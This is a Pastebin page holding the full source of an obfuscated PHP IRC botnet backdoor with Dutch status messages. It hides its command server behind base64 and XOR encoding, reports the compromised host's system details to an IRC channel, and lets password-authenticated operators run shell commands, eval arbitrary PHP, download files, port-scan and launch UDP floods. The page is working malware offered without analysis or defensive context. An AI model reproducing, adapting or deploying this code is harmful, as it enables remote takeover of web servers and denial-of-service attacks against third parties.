Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php class JZRNZjJVNvjfzVRrn {
- var $fRjBfBRVFVrbfrN = array("FfZbrfvbbfjBzBVN" => "My42PD8kJzQjOSA/PjI=", "fJZf" => "23232", "RzZJb" => "scary", "RBFZVr" => "11", "hPXlP" => "#wWw#", "bZv" => "scan", "rjzRrRnnz" => "41aa15390e2efa34ac693c3bd7cb8e88", "rFzvBrNBrB" => ".", "FjZbbVJJrnN" => "*");
- var $BVjNbRJNNvjZZfzBbZ = array();
- var $Sok = array("key-a" => "BVnrNRRZrnnnnfv", "key-b" => "KscSOSsswSOgcwo", "key-c" => "hxLtptLhTDthPhl");
- function yYAQyUqAYUMmyqQm() {
- $xXPHHh = 'abcdefghijklm)nopqrstuvwxyz_ABCDEFGHIJKLM(NOPQRSTUVWXYZ-0123456789';
- $TLPpXhP = strlen($xXPHHh);
- for ($p = 0;$p < $this->fRjBfBRVFVrbfrN['RBFZVr'];$p++) {
- $eeq.= $xXPHHh[rand(0, $TLPpXhP - 1) ];
- }
- $this->MiyEiYe("NICK [" . $eeq . "]");
- }
- function amIuMymyiM($xD, $LTl) {
- $this->MiyEiYe("NOTICE $xD :$LTl");
- }
- function UMQYEayUauuq($xpxX) {
- if (isset($this->BVjNbRJNNvjZZfzBbZ[$xpxX])) return 1;
- else return 0;
- }
- function Iuiaauem($xpxX) {
- unset($this->BVjNbRJNNvjZZfzBbZ[$xpxX]);
- }
- function MiyEiYe($LTl) {
- fwrite($this->SoskOgOWO, "$LTl
- ");
- }
- function YaaqMAQAY($xpxX) {
- $this->BVjNbRJNNvjZZfzBbZ[$xpxX] = true;
- }
- function AuuQIUqmaMqQeUuEQ() {
- $xXPHHh = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
- $TLPpXhP = strlen($xXPHHh);
- for ($p = 0;$p < 6;$p++) {
- $eeq.= $xXPHHh[rand(0, $TLPpXhP - 1) ];
- }
- if (php_uname() == "") {
- $PThxphxH = "---";
- } else {
- $PThxphxH = php_uname();
- }
- $this->MiyEiYe("USER " . $eeq . " 127.0.0.1 localhost :" . $PThxphxH . "");
- }
- function uIaiimaAuYuAmquaIIU() {
- if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
- $PLthxTpTPTL = "4ON";
- } else {
- $PLthxTpTPTL = "9OFF";
- }
- $PThxphxH = php_uname();
- if ($PThxphxH == "") {
- $JfgGdx = "15---";
- } else {
- $JfgGdx = "15" . $PThxphxH . "";
- }
- $RnGs = "15http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "";
- $hxOSC = getcwd() . "";
- $HSKs = "15" . $hxOSC . "";
- $oOwGwgKgWC = fileperms("$hxOSC");
- if (($oOwGwgKgWC & 0xC000) == 0xC000) {
- $SgKSkcgwOSw = 's';
- } elseif (($oOwGwgKgWC & 0xA000) == 0xA000) {
- $SgKSkcgwOSw = 'l';
- } elseif (($oOwGwgKgWC & 0x8000) == 0x8000) {
- $SgKSkcgwOSw = '-';
- } elseif (($oOwGwgKgWC & 0x6000) == 0x6000) {
- $SgKSkcgwOSw = 'b';
- } elseif (($oOwGwgKgWC & 0x4000) == 0x4000) {
- $SgKSkcgwOSw = 'd';
- } elseif (($oOwGwgKgWC & 0x2000) == 0x2000) {
- $SgKSkcgwOSw = 'c';
- } elseif (($oOwGwgKgWC & 0x1000) == 0x1000) {
- $SgKSkcgwOSw = 'p';
- } else {
- $SgKSkcgwOSw = 'u';
- }
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0100) ? 'r' : '-');
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0080) ? 'w' : '-');
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0040) ? (($oOwGwgKgWC & 0x0800) ? 's' : 'x') : (($oOwGwgKgWC & 0x0800) ? 'S' : '-'));
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0020) ? 'r' : '-');
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0010) ? 'w' : '-');
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0008) ? (($oOwGwgKgWC & 0x0400) ? 's' : 'x') : (($oOwGwgKgWC & 0x0400) ? 'S' : '-'));
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0004) ? 'r' : '-');
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0002) ? 'w' : '-');
- $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0001) ? (($oOwGwgKgWC & 0x0200) ? 't' : 'x') : (($oOwGwgKgWC & 0x0200) ? 'T' : '-'));
- $zZdT = "15" . $SgKSkcgwOSw . "";
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "14[SAFE: $PLthxTpTPTL14]15 $RnGs 14[pwd:]15 $HSKs 14($zZdT14) [uname:]15 $JfgGdx");
- }
- function mMUyqq($hPXlP, $bZv = NULL) {
- $this->MiyEiYe("JOIN $hPXlP $bZv");
- }
- function aqaAEAMqEEAQI() {
- if (!($this->SoskOgOWO = fsockopen(uQYYuqQmMaEYyMA($this->fRjBfBRVFVrbfrN['FfZbrfvbbfjBzBVN'], $this->Sok['key-a']), $this->fRjBfBRVFVrbfrN['fJZf'], $e, $s, 30))) $this->aqaAEAMqEEAQI();
- $this->AuuQIUqmaMqQeUuEQ();
- if (strlen($this->fRjBfBRVFVrbfrN['RzZJb']) > 0) $this->MiyEiYe("PASS " . $this->fRjBfBRVFVrbfrN['RzZJb']);
- $this->yYAQyUqAYUMmyqQm();
- $this->eIQMYaeIUaMuAe();
- }
- function aUiiaEUeemm($xD, $LTl) {
- $this->MiyEiYe("PRIVMSG $xD :$LTl");
- }
- function YuQQmqmeaaEuqUumQi($xpxX, $dTTpxxXpLL, $uUiA) {
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[UdpFlood Gestart!]");
- $HtltpxhTX = "";
- for ($p = 0;$p < $dTTpxxXpLL;$p++) {
- $HtltpxhTX.= chr(mt_rand(1, 256));
- }
- $pDhph = time();
- $p = 0;
- while (time() - $pDhph < $uUiA) {
- $NH = fsockopen("udp://" . $xpxX, mt_rand(0, 6000), $e, $s, 5);
- fwrite($NH, $HtltpxhTX);
- fclose($NH);
- $p++;
- }
- $JsP = $p * $dTTpxxXpLL;
- $JsP = $JsP / 1048576;
- $PZk = $JsP / $uUiA;
- $PZk = round($PZk);
- $JsP = round($JsP);
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[UdpFlood Afgerond!]: $JsP MB verzonden / gemiddelde: $PZk MB/s ");
- }
- function eIQMYaeIUaMuAe() {
- while (!feof($this->SoskOgOWO)) {
- $this->yYmum = trim(fgets($this->SoskOgOWO, 512));
- $JfvJvnzjBZBFv = explode(" ", $this->yYmum);
- if (substr($this->yYmum, 0, 6) == "PING :") {
- $this->MiyEiYe("PONG :" . substr($this->yYmum, 6));
- }
- if (isset($JfvJvnzjBZBFv[1]) && $JfvJvnzjBZBFv[1] == "004") {
- $this->MiyEiYe("JOIN " . $this->fRjBfBRVFVrbfrN['hPXlP'] . " " . $this->fRjBfBRVFVrbfrN['bZv'] . "");
- $this->mMUyqq($this->fRjBfBRVFVrbfrN['hPXlP'], $this->fRjBfBRVFVrbfrN['bZv']);
- $this->uIaiimaAuYuAmquaIIU();
- }
- if (isset($JfvJvnzjBZBFv[1]) && $JfvJvnzjBZBFv[1] == "433") {
- $this->yYAQyUqAYUMmyqQm();
- }
- if ($this->yYmum != $FbN_ttD) {
- $ZFnjffNjRJnVbZ = array();
- $Gog = substr(strstr($this->yYmum, " :"), 2);
- $kWsW = explode(" ", $Gog);
- $kcKGG = explode("!", $JfvJvnzjBZBFv[0]);
- $ggwSsC = explode("@", $kcKGG[1]);
- $ggwSsC = $ggwSsC[1];
- $kcKGG = substr($kcKGG[0], 1);
- $gcOswWo = $JfvJvnzjBZBFv[0];
- if ($kWsW[0] == $this->kcKGG) {
- for ($p = 0;$p < count($kWsW);$p++) $ZFnjffNjRJnVbZ[$p] = $kWsW[$p + 1];
- } else {
- for ($p = 0;$p < count($kWsW);$p++) $ZFnjffNjRJnVbZ[$p] = $kWsW[$p];
- }
- if (count($JfvJvnzjBZBFv) > 2) {
- switch ($JfvJvnzjBZBFv[1]) {
- case "QUIT":
- if ($this->UMQYEayUauuq($gcOswWo)) {
- $this->Iuiaauem($gcOswWo);
- }
- break;
- case "PART":
- if ($this->UMQYEayUauuq($gcOswWo)) {
- $this->Iuiaauem($gcOswWo);
- }
- break;
- case "PRIVMSG":
- if (!$this->UMQYEayUauuq($gcOswWo) && (md5($ggwSsC) == $this->fRjBfBRVFVrbfrN['FjZbbVJJrnN'] || $this->fRjBfBRVFVrbfrN['FjZbbVJJrnN'] == "*")) {
- if (substr($ZFnjffNjRJnVbZ[0], 0, 1) == $this->fRjBfBRVFVrbfrN['rFzvBrNBrB']) {
- switch (substr($ZFnjffNjRJnVbZ[0], 1)) {
- case "user":
- if (md5($ZFnjffNjRJnVbZ[1]) == $this->fRjBfBRVFVrbfrN['rjzRrRnnz']) {
- $this->YaaqMAQAY($gcOswWo);
- } else {
- $this->amIuMymyiM($this->fRjBfBRVFVrbfrN['hPXlP'], "[Auth]: Fout password $kcKGG idioot!!");
- }
- break;
- }
- }
- } elseif ($this->UMQYEayUauuq($gcOswWo)) {
- if (substr($ZFnjffNjRJnVbZ[0], 0, 1) == $this->fRjBfBRVFVrbfrN['rFzvBrNBrB']) {
- switch (substr($ZFnjffNjRJnVbZ[0], 1)) {
- case "info":
- $this->uIaiimaAuYuAmquaIIU();
- break;
- case "die":
- $this->MiyEiYe("QUIT :die command from $kcKGG");
- fclose($this->SoskOgOWO);
- exit;
- case "system":
- $SGsSWOsGogwo = substr(strstr($Gog, $ZFnjffNjRJnVbZ[0]), strlen($ZFnjffNjRJnVbZ[0]) + 1);
- $cokgGgOokkgCG = system($SGsSWOsGogwo);
- $sOkKkwcossOgOS = explode("
- ", $cokgGgOokkgCG);
- for ($p = 0;$p < count($sOkKkwcossOgOS);$p++) if ($sOkKkwcossOgOS[$p] != NULL) $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], " : " . trim($sOkKkwcossOgOS[$p]));
- break;
- case "download":
- if (count($ZFnjffNjRJnVbZ) > 2) {
- if (!$wW = fopen($ZFnjffNjRJnVbZ[2], "w")) {
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[download]: Downloaden kan niet!, permission denied.");
- } else {
- if (!$sOkKkwcossOgOS = file($ZFnjffNjRJnVbZ[1])) {
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[download]: Er kan niet worden gedownload van " . $ZFnjffNjRJnVbZ[1] . "");
- } else {
- for ($p = 0;$p <= count($sOkKkwcossOgOS);$p++) {
- fwrite($wW, $sOkKkwcossOgOS[$p]);
- }
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[download]: Bestand " . $ZFnjffNjRJnVbZ[1] . " downloaded naar " . $ZFnjffNjRJnVbZ[2] . "");
- }
- fclose($wW);
- }
- }
- break;
- case "sexec":
- $SGsSWOsGogwo = substr(strstr($Gog, $ZFnjffNjRJnVbZ[0]), strlen($ZFnjffNjRJnVbZ[0]) + 1);
- $cokgGgOokkgCG = shell_exec($SGsSWOsGogwo);
- $sOkKkwcossOgOS = explode("
- ", $cokgGgOokkgCG);
- for ($p = 0;$p < count($sOkKkwcossOgOS);$p++) if ($sOkKkwcossOgOS[$p] != NULL) $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], " : " . trim($sOkKkwcossOgOS[$p]));
- break;
- case "restart":
- $this->MiyEiYe("QUIT :gerestart door $kcKGG");
- fclose($this->SoskOgOWO);
- $this->aqaAEAMqEEAQI();
- break;
- case "logout":
- $this->Iuiaauem($gcOswWo);
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[Auth]14 Je bent nu uitgelogt $kcKGG");
- break;
- case "passthru":
- $SGsSWOsGogwo = substr(strstr($Gog, $ZFnjffNjRJnVbZ[0]), strlen($ZFnjffNjRJnVbZ[0]) + 1);
- $cokgGgOokkgCG = passthru($SGsSWOsGogwo);
- $sOkKkwcossOgOS = explode("
- ", $cokgGgOokkgCG);
- for ($p = 0;$p < count($sOkKkwcossOgOS);$p++) if ($sOkKkwcossOgOS[$p] != NULL) $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], " : " . trim($sOkKkwcossOgOS[$p]));
- break;
- case "dns":
- if (isset($ZFnjffNjRJnVbZ[1])) {
- $wW = explode(".", $ZFnjffNjRJnVbZ[1]);
- if (count($wW) == 4 && is_numeric($wW[0]) && is_numeric($wW[1]) && is_numeric($wW[2]) && is_numeric($wW[3])) {
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[dns]: " . $ZFnjffNjRJnVbZ[1] . " => " . gethostbyaddr($ZFnjffNjRJnVbZ[1]));
- } else {
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[dns]: " . $ZFnjffNjRJnVbZ[1] . " => " . gethostbyname($ZFnjffNjRJnVbZ[1]));
- }
- }
- break;
- case "exec":
- $SGsSWOsGogwo = substr(strstr($Gog, $ZFnjffNjRJnVbZ[0]), strlen($ZFnjffNjRJnVbZ[0]) + 1);
- $cokgGgOokkgCG = exec($SGsSWOsGogwo);
- $sOkKkwcossOgOS = explode("
- ", $cokgGgOokkgCG);
- for ($p = 0;$p < count($sOkKkwcossOgOS);$p++) if ($sOkKkwcossOgOS[$p] != NULL) $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], " : " . trim($sOkKkwcossOgOS[$p]));
- break;
- case "udpflood":
- if (count($ZFnjffNjRJnVbZ) > 3) {
- $this->YuQQmqmeaaEuqUumQi($ZFnjffNjRJnVbZ[1], $ZFnjffNjRJnVbZ[2], $ZFnjffNjRJnVbZ[3]);
- }
- break;
- case "eval":
- $eval = eval(substr(strstr($Gog, $ZFnjffNjRJnVbZ[1]), strlen($ZFnjffNjRJnVbZ[1])));
- break;
- case "rndnick":
- $this->yYAQyUqAYUMmyqQm();
- break;
- case "pscan":
- if (count($ZFnjffNjRJnVbZ) > 2) {
- if (fsockopen($ZFnjffNjRJnVbZ[1], $ZFnjffNjRJnVbZ[2], $e, $s, 15)) {
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[pscan]: " . $ZFnjffNjRJnVbZ[1] . ":" . $ZFnjffNjRJnVbZ[2] . " is open");
- } else {
- $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[pscan]: " . $ZFnjffNjRJnVbZ[1] . ":" . $ZFnjffNjRJnVbZ[2] . " is closed");
- }
- }
- break;
- case "raw":
- $this->MiyEiYe(strstr($Gog, $ZFnjffNjRJnVbZ[1]));
- break;
- }
- }
- }
- break;
- }
- }
- }
- $FbN_ttD = $this->yYmum;
- }
- $this->aqaAEAMqEEAQI();
- }
- }
- function uQYYuqQmMaEYyMA($FNRz, $Sok = '') {
- if ($Sok == '') {
- return $FNRz;
- }
- $FNRz = base64_decode($FNRz);
- $Sok = str_replace(' ', '', $Sok);
- if (strlen($Sok) < 8) {
- exit('key error');
- }
- $LpTdxlD = strlen($Sok);
- if ($LpTdxlD > 32) {
- $LpTdxlD = 32;
- }
- $Sok = substr($Sok, 0, $LpTdxlD);
- $WosCSgW = strlen($FNRz);
- $Phhtp = str_repeat("", $WosCSgW);
- $CgGwS = str_repeat("", $WosCSgW);
- $Jjj = str_pad("", $WosCSgW, $Sok);
- $FNRz = (($FNRz ^ $Jjj) & $Phhtp) | ($FNRz & $CgGwS);
- return $FNRz;
- }
- $scoWGkcW = new JZRNZjJVNvjfzVRrn;
- $scoWGkcW->aqaAEAMqEEAQI();
Advertisement
Add Comment
Please, Sign In to add comment